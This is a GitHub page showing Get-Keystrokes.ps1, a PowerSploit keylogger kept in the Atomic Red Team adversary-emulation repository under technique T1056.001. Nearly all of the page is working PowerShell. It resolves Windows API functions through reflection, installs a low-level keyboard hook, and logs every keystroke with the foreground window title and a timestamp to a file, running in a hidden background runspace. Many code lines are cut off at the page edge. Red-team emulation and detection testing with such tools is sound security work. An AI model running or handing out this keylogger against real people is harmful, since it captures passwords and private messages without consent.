Sign in

redcanaryco / **atomic-red-team** Public

Notifications | Fork 2.8k | Star 9.7k

Code | Issues 6 | Pull requests 4 | Actions | Wiki | Security | Insights

atomic-red-team / atomics / T1056.001 / src / **Get-Keystrokes.ps1**

363 lines (310 loc) · 15.9 KB

Code | Blame | Raw

```
function Get-Keystrokes {
<#
.SYNOPSIS
    Logs keys pressed, time and the active window.
    PowerSploit Function: Get-Keystrokes
    Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
    Revised By: Jesse Davis (@secabstraction)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
.PARAMETER LogPath
    Specifies the path where pressed key details will be logged. By default, keystrokes are logged
.PARAMETER Timeout
    Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured i
.PARAMETER PassThru
    Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; p
.EXAMPLE
    Get-Keystrokes -LogPath C:\key.log
.EXAMPLE
    Get-Keystrokes -Timeout 20
.LINK
    http://www.obscuresec.com/
    http://www.exploit-monday.com/
    https://github.com/secabstraction
#>
    [CmdletBinding()]
```

```powershell
        Param (
            [Parameter(Position = 0)]
            [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container
            [String]$LogPath = "$($env:TEMP)\key.log",

            [Parameter(Position = 1)]
            [Double]$Timeout,

            [Parameter()]
            [Switch]$PassThru
        )

        $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

        try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
        catch { throw $_ }

        $Script = {
            Param (
                [Parameter(Position = 0)]
                [String]$LogPath,

                [Parameter(Position = 1)]
                [Double]$Timeout
            )

            function local:Get-DelegateType {
                Param (
                    [OutputType([Type])]

                    [Parameter( Position = 0)]
                    [Type[]]
                    $Parameters = (New-Object Type[](0)),

                    [Parameter( Position = 1 )]
                    [Type]
                    $ReturnType = [Void]
                )

                $Domain = [AppDomain]::CurrentDomain
                $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
                $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
                $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, Ansi
                $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public'
                $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
```

```
            $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtu
            $MethodBuilder.SetImplementationFlags('Runtime, Managed')

            $TypeBuilder.CreateType()
        }
        function local:Get-ProcAddress {
            Param (
                [OutputType([IntPtr])]

                [Parameter( Position = 0, Mandatory = $True )]
                [String]
                $Module,

                [Parameter( Position = 1, Mandatory = $True )]
                [String]
                $Procedure
            )

            # Get a reference to System.dll in the GAC
            $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
                Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('Syst
            $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
            # Get a reference to the GetModuleHandle and GetProcAddress methods
            $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
            $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
            # Get a handle to the module specified
            $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
            $tmpPtr = New-Object IntPtr
            $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle

            # Return the address of the function
            $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedu
        }

        #region Imports

        [void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')

        # SetWindowsHookEx
        $SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA
            $SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr],
            $SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($S

        # CallNextHookEx
        $CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx
            $CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([I
```

```
                $CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([
```

```
                            $Keys::Space       { $Key = '< >' }
                            $Keys::Left        { $Key = '<Left>' }
                            $Keys::Up          { $Key = '<Up>' }
                            $Keys::Right       { $Key = '<Right>' }
                            $Keys::Down        { $Key = '<Down>' }
                            $Keys::LMenu       { $Key = '<Alt>' }
                            $Keys::RMenu       { $Key = '<Alt>' }
                            $Keys::LWin        { $Key = '<Windows Key>' }
                            $Keys::RWin        { $Key = '<Windows Key>' }
                            $Keys::LShiftKey   { $Key = '<Shift>' }
                            $Keys::RShiftKey   { $Key = '<Shift>' }
                            $Keys::LControlKey { $Key = '<Ctrl>' }
```

```
                            $Keys::RControlKey { $Key = '<Ctrl>' }
                        }
                    }

                    # Get foreground window's title
                    $Title = New-Object Text.Stringbuilder 256
                    $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity)

                    # Define object properties
                    $Props = @{
                        Key = $Key
                        Time = [DateTime]::Now
                        Window = $Title.ToString()
                    }

                    $obj = New-Object psobject -Property $Props

                    # Stupid hack since Export-CSV doesn't have an append switch in PSv2
                    $CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformatic

                    #return results
                    Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
                }
                return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam)
            }

            # Cast scriptblock as LowLevelKeyboardProc callback
            $Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr])
            $Callback = $CallbackScript -as $Delegate

            # Get handle to PowerShell for hook
            $PoshModule = (Get-Process -Id $PID).MainModule.ModuleName
            $ModuleHandle = $GetModuleHandle.Invoke($PoshModule)

            # Set WM_KEYBOARD_LL hook
            $Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)

            $Stopwatch = [Diagnostics.Stopwatch]::StartNew()

            while ($true) {
                if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { b
                $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
                Start-Sleep -Milliseconds 10
            }

            $Stopwatch.Stop()
```

```
            $Stopwatch.Stop()

            # Remove the hook
            $UnhookWindowsHookEx.Invoke($Hook)
        }

        # Setup KeyLogger's runspace
        $PowerShell = [PowerShell]::Create()
        [void]$PowerShell.AddScript($Script)
        [void]$PowerShell.AddArgument($LogPath)
        if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) }

        # Start KeyLogger
        [void]$PowerShell.BeginInvoke()

        if ($PassThru.IsPresent) { return $PowerShell }
    }
```